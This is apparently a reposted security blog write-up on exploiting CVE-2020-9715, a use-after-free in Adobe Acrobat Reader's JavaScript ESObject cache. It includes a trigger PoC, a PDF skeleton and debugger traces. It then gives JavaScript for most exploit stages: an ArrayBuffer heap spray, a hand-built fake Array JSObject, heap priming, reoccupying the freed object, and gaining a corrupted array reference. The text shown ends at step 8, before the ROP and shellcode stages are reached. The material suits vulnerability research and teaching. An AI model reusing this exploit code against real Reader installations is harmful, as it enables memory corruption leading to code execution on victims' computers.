CVE-2020-9715: Exploiting the Adobe ESObject Use-After-Free Vulnerability

渗透技巧 2年前 (2022) admin
1,082 0 0

Overview

CVE-2020-9715 is a use-after-free vulnerability of the ESObject object that was reported via the Zero Day Initiative and patched in Adobe Security Bulletin APSB20-48. ZDI had released an analysis of this vulnerability and also outlined the exploit strategy.

In this 13-months-late write-up, we discuss the actual steps that we used to develop the exploit as a fun exercise.

This vulnerability was submited to ZDI by Mark Vincent Yason (@MarkYason).

This exploit was developed and tested on Adobe Acrobat Reader DC 2020.009.20074.

 

Vulnerability

The detailed description of the bug can be found in the ZDI blog [1], and the analysis is done on Adobe Reader DC Continuous 2020.009.20063.

The PoC is as below:

  1.  
  2. function triggerUAF() {
  3. // cause an access to the freed Data ESObject in the object cache
  4. this.dataObjects[0].toString();
  5. }
  6.  
  7. function poc() {
  8. // creating a Data ESObject to be stored in the object cache
  9. this.dataObjects[0].toString();
  10.  
  11. // Remove reference to Data ESObject, address still in the object cache
  12. this.dataObjects[0] = null;
  13.  
  14. // Trigger a GC which will free the Data ESObject then trigger the UAF
  15. g_timeout = app.setTimeOut(“triggerUAF()”, 1000);
  16. }
  17.  
  18. poc();

The this.dataObjects[0].toString() call creates a Data ESObject, and the pointer to this ESObject is stored in an object cache. With the subsequent calls to this.dataObjects[0] = null and invoking GC via app.setTimeOut(), the JS engine would free the ESObject and remove the reference from the object cache. The following crash can then be triggered with the this.dataObjects[0].toString() call:

  1. (1e00.1cf0): Access violation – code c0000005 (first chance)
  2. eax=3ad18fb8 ebx=00000001 ecx=57166ff0 edx=04300000 esi=57166ff0 edi=5943cff8
  3. eip=7c33d445 esp=032fe31c ebp=032fe320 iopl=0 nv up ei pl nz na pe nc
  4. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
  5. EScript!mozilla::HashBytes+0x2ce95:
  6. 7c33d445 8b4004 mov eax,dword ptr [eax+4] ds:0023:3ad18fbc=????????
  7. 0:000> !heap -p -a eax
  8. address 3a50efb8 found in
  9. _DPH_HEAP_ROOT @ 731000
  10. in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
  11. 3a530e04: 3a50e000 2000
  12. 5843adc2 verifier!AVrfDebugPageHeapFree+0x000000c2
  13. 779299e3 ntdll!RtlDebugFreeHeap+0x0000003e
  14. 7786fabe ntdll!RtlpFreeHeap+0x000000ce
  15. 7786f986 ntdll!RtlpFreeHeapInternal+0x00000146
  16. 7786f3de ntdll!RtlFreeHeap+0x0000003e
  17. 751fe58b ucrtbase!_free_base+0x0000001b
  18. 751fe558 ucrtbase!free+0x00000018
  19. 796e6969 AcroRd32!AcroWinMainSandbox+0x00007529
  20. 77a9cd9a EScript!double_conversion::DoubleToStringConverter
  21. ::CreateDecimalRepresentation+0x00004d1a

Note that the blog has outline the triggering JavaScript but not the PDF, one additional step we did is to create a PDF that contains an embedded file following the PDF specification:

  1. 1 0 obj
  2. <<
  3. /Type/Catalog
  4. /Outlines 2 0 R
  5. /Pages 3 0 R
  6. /OpenAction 4 0 R
  7. /Names <<
  8. /EmbeddedFiles << /Names [(test.svg) 7 0 R ] >>
  9. >>
  10. >>
  11. 7 0 obj
  12. <<
  13. /Type /Filespec /F (test.svg)
  14. /EF <</F 8 0 R >>
  15. >>
  16. endobj
  17. 8 0 obj
  18. <</Type /EmbeddedFile /Subtype /image#2Fsvg+xml /Length 77>>
  19. stream
  20. <?xml version=”1.0″ standalone=”no”?>
  21. <svg><!– Some SVG goes here –></svg>
  22. endstream
  23. endobj

Following the ZDI blog and debugging the sample created, we can confirm that the root cause of the stale reference of the ESObject in the object cache is due to use of inconsistent name string type when searching and deleting the object reference. Specifically, the ESObject was added to the cache by calling add_cache_entry() with an ANSI name string "test.svg", but the del_cache_entry() call is using a Unicode version of the string to search and delete the cache entry, resulted in a stale pointer:

  1.  
  2. ESString (size 0x18):
  3. int type // 1: ANSI, 2: UNICODE
  4. void* buffer // String buffer
  5. int len // Length of the string
  6. int max // Max capacity of the string buffer
  7. int unknown
  8. int unknown

The following are the key steps:

  1. Add a cache entry for the ESObject
    1. ; text:00090D96 call add_cache_entry_90641
    2. Breakpoint 0 hit
    3. eax=3ae7eff0 ebx=2e53efc0 ecx=3ae7eff0 edx=00000008 esi=3ae66fe8 edi=3aefafb8
    4. eip=7b460d96 esp=032fb978 ebp=032fb9b4 iopl=0 nv up ei pl nz na pe nc
    5. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
    6. EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x28d16:
    7. 7b460d96 e8a6f8ffff call EScript!double_conversion::DoubleToStringConverter
    8. ::CreateDecimalRepresentation+0x285c1 (7b460641)
    9. 0:000> dd edi l12 ; the ESObject
    10. 3aefafb8 2e53efc0 2ea29ba0 00000000 3afd2fb0
    11. 3aefafc8 00000000 00000000 00000000 00000000
    12. 3aefafd8 00000000 00000000 00000000 00000000
    13. 3aefafe8 00000000 00000000 c0c0c000 00000000
    14. 3aefaff8 00000000 00000000
    15. 0:000> dd esp l2
    16. 032fb978 032fb990 032fb998 ; arg_4 is the cache key
    17. 0:000> dd 032fb998 l2 ; Cache Key: (PDDoc, Name)
    18. 032fb998 1e75abc0 3b012fe8
    19. 0:000> dd 3b012fe8 l6 ; Name: ESString
    20. 3b012fe8 00000001 3b00afe0 00000008 00000020 ; ESString.type = 1 for ANSI
    21. 3b012ff8 00000000 00000000
    22. 0:000> db 3b00afe0 l10 ; ESString.buffer
    23. 3b00afe0 74 65 73 74 2e 73 76 67-00 00 00 00 00 00 00 00 test.svg……..
  2. Delete the cache entry for the ESObject
    1. Breakpoint 1 hit
    2. eax=3ae7eff0 ebx=00000001 ecx=3ae7eff0 edx=00000012 esi=54694fe8 edi=3af86fe8
    3. eip=7b460816 esp=032feb98 ebp=032febc4 iopl=0 nv up ei pl nz na pe nc
    4. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
    5. EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x28796:
    6. 7b460816 e8e33a0000 call EScript!double_conversion::DoubleToStringConverter
    7. ::CreateDecimalRepresentation+0x2c27e (7b4642fe)
    8. 0:000> dd esp l1 ; arg_0 is the cache key
    9. 032feb98 032febac
    10. 0:000> dd 032febac l2 ; Cache Key: (PDDoc, Name)
    11. 032febac 1e75abc0 52e16fe8
    12. 0:000> dd 52e16fe8 l6 ; Name: ESString
    13. 52e16fe8 00000002 57488fe0 00000012 00000020 // ESString.type = 2 for Unicode
    14. 52e16ff8 00000000 00000000
    15. 0:000> db 57488fe0 l20 ; ESString.buffer
    16. 57488fe0 fe ff 00 74 00 65 00 73-00 74 00 2e 00 73 00 76 …t.e.s.t…s.v
    17. 57488ff0 00 67 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .g…………..

    Note for both calls, the PDDoc object is the same: 1e75abc0.

  3. The Use-After-Free
    1. ; bu EScript!mozilla::HashBytes+0x2ce95
    2. Breakpoint 1 hit
    3. eax=0979ebb8 ebx=00000001 ecx=09829cb0 edx=00630000 esi=09829cb0 edi=0e2ae1c0
    4. eip=77a6d445 esp=004fe56c ebp=004fe570 iopl=0 nv up ei pl nz na pe nc
    5. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
    6. EScript!mozilla::HashBytes+0x2ce95:
    7. 77a6d445 8b4004 mov eax,dword ptr [eax+4] ds:0023:0979ebbc=0f0e0058
    8. .text:00092AAC call sub_82310 ; this.dataObjects[0]
    9. .text:00092AB1 push eax ; a freed object returned
    10. .text:00092AB2 mov eax, [ebp+var_10]
    11. .text:00092AB5 push dword ptr [edi+eax*4]
    12. .text:00092AB8 call use_obj_3D430 ; UAF fetching JSObject at [eax+4]
    13. .text:00092ABD mov eax, [ebp+var_10]
    14. .text:00092AC0 add esp, 2Ch

 

Exploitation

A brief summary of the steps of exploitation by Mark Yason was also outlined in [1], we have followed most of it by recreating some of the key steps, while some other steps taking alternative approaches following a few public references [2], [3] and [4].

The steps involved in the exploit by Mark Yason are as follows:

  1. Spray a large number of ArrayBuffers so that one of them will likely be corrupted when we perform a write near the chosen address FAKE_ARRAY_JSOBJ_ADDR (later, step 9). Place crafted data into each ArrayBuffer so that at address FAKE_ARRAY_JSOBJ_ADDR there will be a fake JS array object. This fake array will be used when we perform the corruption later in steps 9 and 10.
  2. Create a spray string containing the value FAKE_ARRAY_JSOBJ_ADDR
  3. Prime the LFH for the ESObject size (0x48)
  4. Trigger the creation of a Data ESObject which will be stored in the object cache
  5. Remove the reference to the Data ESObject. Its address remains in the object cache
  6. Trigger garbage collection, which will free the Data ESObject. Nevertheless, its address remains in the object cache
  7. Overwrite the freed Data ESObject with the spray string containing FAKE_ARRAY_JSOBJ_ADDR
  8. Access the freed Data ESObject in the object cache, assigning it into script variable fakeArrObj. Since the memory of the ESObject has been filled with FAKE_ARRAY_JSOBJ_ADDR, this value will be interpreted as the address of the corresponding JsObject. The fake array object presented there (see step 1) is then accessible to script via the variable fakeArrObj
  9. Since fakeArrObj is located at FAKE_ARRAY_JSOBJ_ADDR and one of our sprayed ArrayBuffers is there, we can use fakeArrObj to overwrite an ArrayBuffer’s byteLength with 0xFFFFFFFF
  10. Additionally, create an AcroForm text field and set it into an element of fakeArrObj. This writes a pointer to the text field into a location within the ArrayBuffer object. Later, this will be used for leaking the load address of AcroForm.api
  11. Locate the corrupted ArrayBuffer among the ArrayBuffers that were created step 1
  12. Prepare a DataView corresponding to the corrupted ArrayBuffer. This will be used for the read/write primitive
  13. Prepare ROP chains and shellcode
  14. Code execution: execute the ROP gadget via JSObject::setGeneric()

We implement the steps in roughly two stages, the memory layout setup and triggering of vulnerability in the JavaScript function poc(), which covers step (1) – (5), then invoke GC using app.setTimeOut(), upon the time out, triggers the remaining steps (7) – (14).

The general idea of the exploit is to spray a lot of ArrayBuffer objects of size 0x10000, and the content of each ArrayBuffer is set with data constructions that are needed for the exploit, in this way, because the data buffer of the ArrayBuffer would appear at the addresses in the form of 0x????0048+0x10, we get access to the necessary data constructions.

The core of the exploit lies in the following steps:

  1. Craft fake Array objects so that one lands at fixed address FAKE_ARRAY_JSOBJ_ADDR, e.g., 0x14000058.
  2. Use the freed ESObject as a powerful JSObject primitive: having access to a JSObject at an arbitrary address. By gaining control of the freed ESObject we can set arbitrary value to the pointer field of the corresponding JSObject.
  3. Retrieve the controlled JSObject pointer by fakeArrObj = this.dataObjects[0]. With this fake Array JSObject, we gain the ability to access the same area of buffer from both Array and DataView interface.
  4. With the dual access capability we can achieve global read and write, specifically, to be able to corrupt the byteLength field of the subsequent ArrayBuffer object; and by storing JavaScript object using array element assignment we can leak code pointers using the DataView of the ArrayBuffer object.

 

Global Setup

The following configurations are used in the final tested exploit:

  1.  
  2. / * The ArrayBuffer spray */
  3. var spray_base = 0x14000048; // 0x0f0e0048
  4. var spray_len = 0x10000 24;
  5. var spray_size = 0xd00;
  6. var spray_arr1 = new Array(spray_size);
  7.  
  8. /* The string spray */
  9. var esobj_str = null;
  10. var spray_arr2 = new Array(0x40);

esobj_str is used to occupy the freed ESObject with controlled content and spray_arr2 is used to keep the references for occupying the freed ESObject. With reference to [2], we can see how an ESObject and its corresponding JSObject instance are linked:

  1. ; at the call to add_cache_entry_90641()
  2. Breakpoint 0 hit
  3. eax=3aa3aff0 ebx=2e32afc0 ecx=3aa3aff0 edx=00000008 esi=3ab16fe8 edi=3a92efb8
  4. eip=77ac0d96 esp=02febb78 ebp=02febbb4 iopl=0 nv up ei pl nz na pe nc
  5. cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
  6. EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x28d16:
  7. 77ac0d96 e8a6f8ffff call EScript!double_conversion::DoubleToStringConverter::
  8. CreateDecimalRepresentation+0x285c1 (77ac0641)
  9. ; The 0x48 bytes ESObject
  10. 0:000> dd edi l12
  11. 3a92efb8 2e32afc0 2e729ba0 00000000 3a8b6fb0 ; 2nd DWORD: JSObject
  12. 3a92efc8 00000000 00000000 00000000 00000000
  13. 3a92efd8 00000000 00000000 00000000 00000000
  14. 3a92efe8 00000000 00000000 c0c0c000 00000000
  15. 3a92eff8 00000000 00000000
  16. ; 2nd DWORD: associated JSObject (Liu Ke @ HitB [2])
  17. 0:000> dd 2e729ba0
  18. 2e729ba0 2e7b0700 2e725be0 00000000 77ca5528
  19. 2e729bb0 3a92efb8 00000000 00000000 00000000
  20. ; ——–
  21. ; |–> points back to ESObject

To control the JSObject pointer in ESObject object, we just need a spray string esobj_str of 0x48 bytes that has a controlled value at the 2nd DWORD.

The first heap spray places controlled data at predictable address using ArrayBuffer objects, once earlier disclosure of the technique was the In-the-Wild exploit for Adobe Reader CVE-2018-4990. It is done with the following:

  1.  
  2. for(i = 0; i < spray_size; i ++)
  3. spray_arr1[i] = new ArrayBuffer(0x10000 24);

which would layout ArrayBuffer objects of byteLength 0xffe8, with 8 bytes of heap header and 0x10 bytes header, they are 0x10000 byte chunks and most of them would be aligned at addresses with a fixed lower word such as 0x????0048:

  1. 0:000> dd 0f0e0040
  2. 0f0e0040 26125a1f 0834b8ea 00000000 0000ffe8
  3. 0f0e0050 08de38c8 00000000 00000000 00000000

We can then proceed to constructing a fake Array JSObject with its property table and elements array header inside the 0xffe8 bytes of data buffer for each ArrayBuffer objects.

  1. Constructing fake Array JSObject in ArrayBuffer spraysAt the time of writing this technique does not seem to be publicly known, despite the mention in the ZDI blog post. It sounds like a very powerful tool when we’ve got a JSObject primitive, i.e., attacker has control over a dangling reference from JS engine and the object memory can be fully controlled.

    A somewhat similar technique was first seen used in the Tianfu Cup 2019 exploit [4] by @b1t (Phan Thanh Duy). In this PoC there is a stale reference to a freed Sound object, by allocating and freeing an Array JSObject into the freed memory, he can flush the memory to have Array JSObject headers and basic structures, yet having a JSObject reference pointing to this freed memory. Meanwhile by allocating a TypedArray object into the _elements buffer of the freed Array JSObject, he gets another reference to the Array _elements buffer. In this way the _elements buffer can now be read / write accessed using both the Array or the TypedArray reference, this can then be turned into relative and arbitrary read / write capabilities.

    The sketch of this exploit of CVE-2020-9715 by ZDI is alike but of a different setup. First, we already have read and write access to the memory with the associated DataView object of the ArrayBuffer. Second we can not allocate an Array JSObject into the memory that’s already occupied by ArrayBuffer, so the missing step is to establish read and write access by crafting an Array JSObject from scratch. It is not clear whether this is the original technique in Mark Yason’s exploit, but does seem to be the least complex way since it’s the only missing step: with a fake Array JSObject, we can assign the address to fakeArrObj and the rest of the steps would match perfectly to the sketch in ZDI blog.

    Due to the version differences of the SpiderMonkey JavaScript engine used in Adobe Reader DC and other public versions such as FireFox, and a lack of documentation and public symbols, we do not have the exact mapping of the data structures for the Array JSObject. Therefore the construction of fake Array JSObject was trial-and-error based on debugging, with a few references including the source code of Adobe Reader JS engine and the dissection of FireFox SpiderMonkey by @argp in [3].

    The Array JSObject has a 0x10 bytes header:

    1. 0:000> dd 0f0e0040
    2. 0f0e0040 26125a1f 0834b8ea 00000000 0000ffe8
    3. 0f0e0050 08de38c8 00000000 00000000 00000000

    The field elements_ points to the body of the array, and the body has a 0x10 bytes header right before the elements_ pointer. This is either continuous to the Array JSObject header, or being reallocated to a different area. We can observe this from the array spray_arr2[], of esobj_str strings which (for now) is made up of the following pattern: "\xc0\xc0\xc0\xc0\x58\x00\x0e\x0f". This is when we test step 2 and 7 with the JSObject pointer at 0x0f0e0058 with the following test code:

    1.  
    2. var spray_arr2 = new Array(40);
    3. esobj_str = unescape(“%uc0c0%uc0c0%u0058%u0f0e”); // from spray_base + 0x10
    4. while (esobj_str.length < 0x40) {
    5. esobj_str += esobj_str;
    6. }
    7. for(i = 0x12; i < 0x50; i ++)
    8. spray_arr2[i] = esobj_str.substring(0, 0x48/21).toUpperCase();

    We can then use the debugger and references to find out how to construct a fake array JSObjectcode>:

    1. spray we search the string backwards to locate the Array JSObject:
    2. 0:000> s 0 l?0xffffffff c0 c0 c0 c0 58 00 0e 0f
    3. 09f2b400 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f ….X…….X…
    4. 09f2b408 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f ….X…….X…
    5. 09f2b410 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 00 00 ….X…….X…
    6. 09f2b428 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f ….X…….X…
    7. 09f2b430 c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f ….X…….X…
    8. ; pick one that is 0x48 bytes
    9. 0:000> !heap -p -a 09f2b400
    10. address 09f2b400 found in
    11. _HEAP @ 3020000
    12. HEAP_ENTRY Size Prev Flags UserPtr UserSize – state
    13. 09f2b3d0 000a 0000 [00] 09f2b3d8 00048 – (busy)
    14. ; search the UserPtr to locate the string
    15. 0:000> s 0 l?0xffffffff d8 b3 f2 09
    16. 095ee134 d8 b3 f2 09 00 00 00 00-00 00 00 00 34 00 00 00 …………4…
    17. ; the string ‘descriptor’ is at 095ee130
    18. 0:000> dd 095ee130 – 10 l 0xc
    19. 095ee120 00000232 09e9fb20 0000003f 00000000
    20. 095ee130 00000234 09f2b3d8 00000000 00000000
    21. 095ee140 00000034 095ee148 c0c0c0c0 00000058
    22. ; search the string object to locate spray_arr2[] elements_ buffer
    23. 0:000> s 0 l?0xffffffff 30 e1 5e 09
    24. 09cdd6e8 30 e1 5e 09 85 ff ff ff-60 e1 5e 09 85 ff ff ff 0.^…..`.^…..
    25. 09d8bc58 30 e1 5e 09 85 ff ff ff-60 e1 5e 09 85 ff ff ff 0.^…..`.^…..
    26. ; the first result is the freed buffer of 0x10 elements, capacity 0x28
    27. 0:000> !heap -p -a 09cdd6e8
    28. address 09cdd6e8 found in
    29. _HEAP @ 3020000
    30. HEAP_ENTRY Size Prev Flags UserPtr UserSize – state
    31. 09cdd680 0013 0000 [00] 09cdd688 00090 – (free)
    32. 0:000> dd 09cdd688 l30
    33. 09cdd688 00000000 00000010 00000010 00000028
    34. 09cdd698 0959ff40 ffffff85 0959ff70 ffffff85
    35. 09cdd6a8 0959ffa0 ffffff85 0959ffd0 ffffff85
    36. 09cdd6b8 095ee010 ffffff85 095ee040 ffffff85
    37. ; the second result is the reallocation triggered by 10-th string
    38. 0:000> !heap -p -a 09d8bc58
    39. address 09d8bc58 found in
    40. _HEAP @ 3020000
    41. HEAP_ENTRY Size Prev Flags UserPtr UserSize – state
    42. 09d8bbf0 0023 0000 [00] 09d8bbf8 00110 – (busy)
    43. 0:000> dd 09d8bbf8 l40
    44. 09d8bbf8 00000000 00000028 00000040 00000028
    45. 09d8bc08 0959ff40 ffffff85 0959ff70 ffffff85
    46. 09d8bc18 0959ffa0 ffffff85 0959ffd0 ffffff85
    47. 09d8bc28 095ee010 ffffff85 095ee040 ffffff85
    48. 09d8bc38 095ee070 ffffff85 095ee0a0 ffffff85
    49. 09d8bc48 095ee0d0 ffffff85 095ee100 ffffff85
    50. 09d8bc58 095ee130 ffffff85 095ee160 ffffff85
    51. ; We’ve found the array elements_ buffer at 09d8bbf8

    From [3], we can map the fields to the Array JSObject header and the elements_ buffer prepended header:

    1. ; js::HeapPtrShape shape_;
    2. ; js::HeapPtrTypeObject type_;
    3. ; js::HeapSlot *slots_;
    4. ; js::HeapSlot *elements_;
    5. shape_ type_ slots_ elements_
    6. +0x00 …….. …….. 00000000 0d0e004c
    7. flags initLen capacity length
    8. +0x10 00000000 00000012 00000020 00000028

    However, with a simplistic construction with both shape_ and type_ set to null, assigning the pointer to fakeArrObj does not lead to a recognized JavaScript object. From the source code of Adobe Reader SpiderMonkey we can find some similarities to the runtime data but does not lead to a complete match:

    1.  
    2. struct JSObject {
    3. JSObjectMap *map;
    4. jsval *slots;
    5. };
    6. struct JSObjectMap {
    7. jsrefcount nrefs; /* count of all referencing objects */
    8. JSObjectOps *ops; /* high level object operation vtable */
    9. uint32 nslots; /* length of obj->slots vector */
    10. uint32 freeslot; /* index of next free obj->slots element */
    11. };

    As now, we can confirm the 3rd DWORD in Array JSObject is normally 0, and the 4th DWORD is the pointer elements_. And there’s no such data structures shape_ and type_ in Adobe source. We denote the first two DWORD as dw0 and dw1.

    1. ; Repeating the steps we can get the Array JSObject header
    2. ; spray_str -> str obj -> array -> elements -> metadata -> shape_:
    3. 0:000> dd 0aaafd30
    4. 0aaafd30 0aa85d18 0aa25960 00000000 0b3e26b8 ; elements_: 0b3e26b8
    5. 0aaafd40 00000000 00000000 00000000 00000000
    6. ; with dw0 = 0aa85d18, and dw1 = 0aa25960
    7. 0:000> dd 0aa85d18
    8. 0aa85d18 0aa3f420 0a812580 07ffffff 00000044
    9. ; 1st DW of dw0 is a pointer to “Array”
    10. 0:000> dd 0aa3f420 l4
    11. 0aa3f420 79c017f0 0aa28090 00000000 0a3548f0
    12. ; 2nd DW of dw0 is a table of 0x20 bytes records {len, &wcstr, wcstr}:
    13. ; there’s a total of 0xd4 records, looks like a global map of properties
    14. 0a812580 68 00 00 00 88 25 81 0a 6c 00 65 00 6e 00 67 00 h….%..l.e.n.g.
    15. 0a812590 74 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 t.h………….
    16. 0a8125a0 48 00 00 00 a8 25 81 0a 6c 00 69 00 6e 00 65 00 H….%..l.i.n.e.
    17. 0a8125b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
    18. 0a8125c0 a8 00 00 00 c8 25 81 0a 6c 00 69 00 6e 00 65 00 …..%..l.i.n.e.
    19. 0a8125d0 4e 00 75 00 6d 00 62 00 65 00 72 00 00 00 00 00 N.u.m.b.e.r…..
    20. 0a813fc0 b8 00 00 00 c8 3f 81 0a 67 00 65 00 74 00 55 00 …..?..g.e.t.U.
    21. 0a813fd0 54 00 43 00 4d 00 6f 00 6e 00 74 00 68 00 00 00 T.C.M.o.n.t.h…
    22. 0a813fe0 78 00 00 00 e8 3f 81 0a 67 00 65 00 74 00 44 00 x….?..g.e.t.D.
    23. 0a813ff0 61 00 74 00 65 00 00 00 00 00 00 00 00 00 00 00 a.t.e………..
    24. ; dw1 does look like it’s related to type_:
    25. 0:000> dd 0aa25960
    26. 0aa25960 79c017f0 0aa2d040 00000000 80ff0008 ; 1st DW: pp to “Array”
    27. 0aa25970 00000000 00000000 00000000 00000000
    28. 0aa25980 0aa25a80 0aa25a80 00000000 80ff0008
    29. 0aa25990 00000000 00000000 00000000 00000000
    30. 0aa259a0 0a2c5780 0aa2a010 00000000 80ff0008
    31. 0aa259b0 00000000 00000000 00000000 00000000
    32. ..
    33. ; 1st dword of dw1: ptr to “Array”:
    34. 0:000> db poi(79c017f0) l8
    35. 79b42688 41 72 72 61 79 00 00 00 Array…

    By repeated trial and error with step 2-8 implemented, we eventually arrive at a construction that gives a valid JSObject confirmed by the following:

    1.  
    2. console.println(“[+] fakeArrObj constructed. Type: “ + typeof(fakeArrObj));

    The old offset used for FAKE_ARRAY_JSOBJ_ADDR was 0x0f0e0058, in subsequent test we changed it to 0x14000048 for better reliability. The property table has only one entry for "length" and there are a few hacks to make the code goes through. We arrange the elements_ buffer near the end of the ArrayBuffer to corrupt the next ArrayBuffer byteLength field. The completed spray and construction as below:

    1.  
    2. function poc() // Test on: 2020.009.20063 / 20074
    3. {
    4. /* 1. Spray many ArrayBuffer, each with a fake ArrayObject (array JSObject) */
    5. var ab_base = spray_base + 0x10; // 0x0f0e0058: aka FAKE_ARRAY_JSOBJ_ADDR
    6. for(i = 0; i < spray_size; i ++)
    7. {
    8. spray_arr1[i] = new ArrayBuffer(0x10000 24);
    9. var dv = new DataView(spray_arr1[i]);
    10.  
    11. /* dw0 dw1 dw2 elements_
    12. * +0x00 …….. …….. 00000000 0f0f0038
    13. */
    14. dv.setUint32( 0x00, ab_base + 0x48, true); // 0x0f0e0058: 0x0f0e00a0 dw0
    15. dv.setUint32( 0x04, ab_base + 0x68, true); // 0x0f0e005c: 0x0f0e00c0 dw1
    16. dv.setUint32( 0x0c, ab_base + 0xffe0, true); // 0x0f0e0064: 0x0f0f0038 elem_
    17.  
    18. // craft dw0
    19. dv.setUint32( 0x48, ab_base + 0xa0, true); // 0x0f0e00a0: 0x0f0e00f8
    20. dv.setUint32( 0x4c, ab_base + 0xc8, true); // 0x0f0e00a4: 0x0f0e0120 ppty table
    21. dv.setUint32( 0x50, 0x07ffffff, true); // 0x0f0e00a8: const
    22. dv.setUint32( 0x54, 0x00000044, true); // 0x0f0e00ac: const
    23.  
    24. // 0xe0: “Array”, 0xe8: &”Array”, 0xec: 6, 0xf8: 0xe8
    25. dv.setUint32( 0x88, 0x61727241, true); // 0x0f0e00e0: Str
    26. dv.setUint32( 0x8c, 0x00000079, true); // 0x0f0e00e4
    27. dv.setUint32( 0x90, ab_base + 0x88, true); // 0x0f0e00e8: 0x0f0e00e0 pStr
    28. dv.setUint32( 0x94, 0x0000000c, true); // 0x0f0e00ec
    29. dv.setUint32( 0xa0, ab_base + 0x90, true); // 0x0f0e00f8: 0x0f0e00e8 ppStr
    30.  
    31. // hack chunk / arena end marking @ 0x0f0ffffc and 0x0f0e0000
    32. dv.setUint32(0xffa4, ab_base + 0x7fa8, true); // 0x0f0efffc: 0x0f0e8000
    33. dv.setUint32(0xffa8, ab_base + 0x7fac, true); // 0x0f0f0000: 0x0f0e8004
    34. dv.setUint32(0x7fa8, 0x00000000, true); // 0x0f0e8000
    35. dv.setUint32(0x7fac, 0x00000000, true); // 0x0f0e8004
    36.  
    37. // craft dw1
    38. dv.setUint32( 0x68, ab_base + 0x90, true); // 0x0f0e00c0: 0x0f0e00e8
    39. dv.setUint32( 0x6c, 0x00000000, true); // 0x0f0e00c4
    40. dv.setUint32( 0x74, 0x80ff0008, true); // 0x0f0e00cc: const
    41.  
    42. // property table with entry “length”
    43. dv.setUint32( 0xc8, 0x00000068, true); // 0x0f0e0120: size
    44. dv.setUint32( 0xcc, ab_base + 0xd0, true); // 0x0f0e0124: 0x0f0e0128 addr
    45. dv.setUint32( 0xd0, 0x0065006c, true); // 0x0f0e0128: str
    46. dv.setUint32( 0xd4, 0x0067006e, true); // 0x0f0e012c
    47. dv.setUint32( 0xd8, 0x00680074, true); // 0x0f0e0130
    48.  
    49. // craft marker
    50. dv.setUint32(0xffe0, 0x11224433, true); // 0x0f0f0038
    51. dv.setUint32(0xffe4, 0xffffff81, true); // 0x0f0f003c
    52.  
    53. /* flags initLen capacity length
    54. * +0x10 00000000 00000028 00000040 00000028
    55. */
    56. var _elem_offset = 0x0f0f0038 0x0f0e0058;
    57. dv.setUint32(_elem_offset 0xC, 0x28, true); // initLen
    58. dv.setUint32(_elem_offset 0x8, 0x40, true); // capacity
    59. dv.setUint32(_elem_offset 0x4, 0x28, true); // length
    60.  
    61. delete dv;
    62. }
    63. //…
    64. }

    Due to EScript code in checking SpiderMonkey chunk and arena end markings, we’ve added code to work around by setting valid pointers to the chunk / arena end marking @ 0x0f0ffffc and 0x0f0e0000, the data at these pointers should be 0.

    We’ve also added markers to the fake Array JSObject to confirm the successful construction in step 8.

  2. Create a spray string containing the value FAKE_ARRAY_JSOBJ_ADDRThe esobj_str string only needs to have the crafted JSObject pointer at the 2nd DWORD of the ESObject.
    1.  
    2. esobj_str = unescape(“%uc0c0%uc0c0%u0058%u1400”); // from spray_base + 0x10
    3. while (esobj_str.length < 0x40) {
    4. esobj_str += esobj_str;
    5. }
  3. Prime the LFH for the ESObject size (0x48)Activate the LFH for size 0x48 so that in step 4 the ESObject created will be in LFH. Note that static JS strings do not reside in the process heap. But the trick from [5] allow us to create a copy of the string via heap allocation by calling either toLowerCase() or toUpperCase(), one of which that does not alter the pointer value coded into esobj_str.
    1.  
    2. /* 3. Prime the LFH for ESObject size (0x48) */
    3. for(var i = 0; i < 0x12; i ++)
    4. spray_arr2[i] = esobj_str.substring(0, 0x48/21).toUpperCase();
  4. Trigger ESObject creation to be stored in the Object Cache
    1.  
    2. /* 4. Trigger creation of a Data ESObject to store in object cache */
    3. this.dataObjects[0].toString();
  5. Remove reference to Data ESObject
    1.  
    2. /* 5. Remove reference to the Data ESObject, address still in object cache */
    3. this.dataObjects[0] = null;
  6. Trigger GC to free the ESObjectAfter testing a much smaller timeout value than earlier used could improve the reliability to near 100%.
    1.  
    2. /* 6. Trigger GC to free the Data ESObject (address is still in the object cache) */
    3. g_timeout = app.setTimeOut(“afterGC()”, 10);
  7. Overwrite the freed ESObject with spray string
    1.  
    2. /* 7. Overwrite the freed ESObject with spray string in step 2 */
    3. for(i = 0x12; i < 0x30; i ++)
    4. spray_arr2[i] = esobj_str.substring(0, 0x48/21).toUpperCase();
  8. Obtain fakeArrObj JSObject reference via array assignmentThis would fetch the JSObject pointer of the ESObject and assign it to the dummy reference fakeArrObj. As long as step 7 is successful, we can expect the crafted Array JSObject right at FAKE_ARRAY_JSOBJ_ADDR and fakeArrObj is no longer null. The Array JSObject type check is confirmed by accessing the first cell to match against the planted marker 0x11224433.
    1.  
    2. /* 8. Assign the freed ESObject to fakeArrObj:
    3. * – the filled value FAKE_ARRAY_JSOBJ_ADDR interpreted as JSObject
    4. * – A fake array object in (1) can now be accessed via fakeArrObj
    5. */
    6. fakeArrObj = this.dataObjects[0];
    7. try {
    8. if (fakeArrObj != null && fakeArrObj[0] == 0x11224433)
    9. console.println(“[+] fakeArrObj constructed. Type: “ + typeof(fakeArrObj));
    10. else {
    11. console.println(“[-] fakeArrObj: Array JSObject incomplete.”);
    12. return;
    13. }
    14. }
    15. catch(e) {
    16. handleExcp(e, 6);
    17. return;
    18. }
